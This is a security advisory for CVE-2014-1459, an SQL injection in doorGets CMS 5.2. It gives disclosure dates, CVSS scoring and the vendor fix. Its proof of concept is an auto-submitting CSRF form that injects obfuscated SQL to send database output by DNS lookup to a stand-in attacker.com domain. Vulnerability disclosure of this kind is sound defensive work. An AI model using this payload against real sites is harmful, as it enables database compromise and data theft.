Advisory ID: HTB23197
Product: doorGets CMS
Vendor: doorGets
Vulnerable Version(s): 5.2 and probably prior
Tested Version: 5.2
Advisory Publication: January 15, 2014 [without technical details]
Vendor Notification: January 15, 2014=20
Vendor Patch: January 15, 2014=20
Public Disclosure: February 5, 2014=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-1459
Risk Level: Medium=20
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in doorGets=
CMS, which can be exploited to perform SQL Injection attacks.
1) SQL Injection in doorGets CMS: CVE-2014-1459
The vulnerability exists due to insufficient validation of "_position_down_=
id" HTTP POST parameter passed to "/dg-admin/index.php" script. A remote at=
tacker with access to administrative interface can execute arbitrary SQL co=
mmands in application's database. This vulnerability however can be exploit=
ed by a remote unauthenticated user via CSRF vector.
The following exploitation example is based on DNS Exfiltration technique a=
nd may be used if the database of the vulnerable application is hosted on a=
Windows system. The PoC will use a CSRF vector to send a DNS request deman=
ding IP addess for `version()` (or any other sensetive output from the data=
base) subdomain of ".attacker.com" (a domain name, DNS server of which is c=
ontrolled by the attacker):
<form action=3D"http://[host]/dg-admin/?controller=3Drubriques" method=3D"p=
ost" name=3D"main">
<input type=3D"hidden" name=3D"_position_down_id" value=3D"1 AND 1=3D(selec=
t load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),C=
HAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46)=
,CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(9=
8),CHAR(97),CHAR(114)))) -- ">
<input type=3D"hidden" name=3D"_position_down_position" value=3D"1">
<input type=3D"hidden" name=3D"_position_down_submit" value=3D"1">
<input type=3D"hidden" name=3D"_position_down_type" value=3D"down">
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.getElementById('btn').click();
</script>
---------------------------------------------------------------------------=
--------------------
Solution:
Fixed by vendor on January 15, 2014 directly in the source code without ver=
sion modification/new release. Update to the version 5.2 released after Jan=
uary 15, 2014.
More Information:
https://github.com/doorgets/doorGets/commit/6b81541fc1e5dd1c70614585c1a04d0=
4ccdb3b19
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23197 - https://www.htbridge.com/advisory/=
HTB23197 - SQL Injection in doorGets CMS.
[2] doorGets CMS - http://www.doorgets.com - doorGets CMS is a free content=
management system (CMS), that allows you to create easily your corporate o=
r personal website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.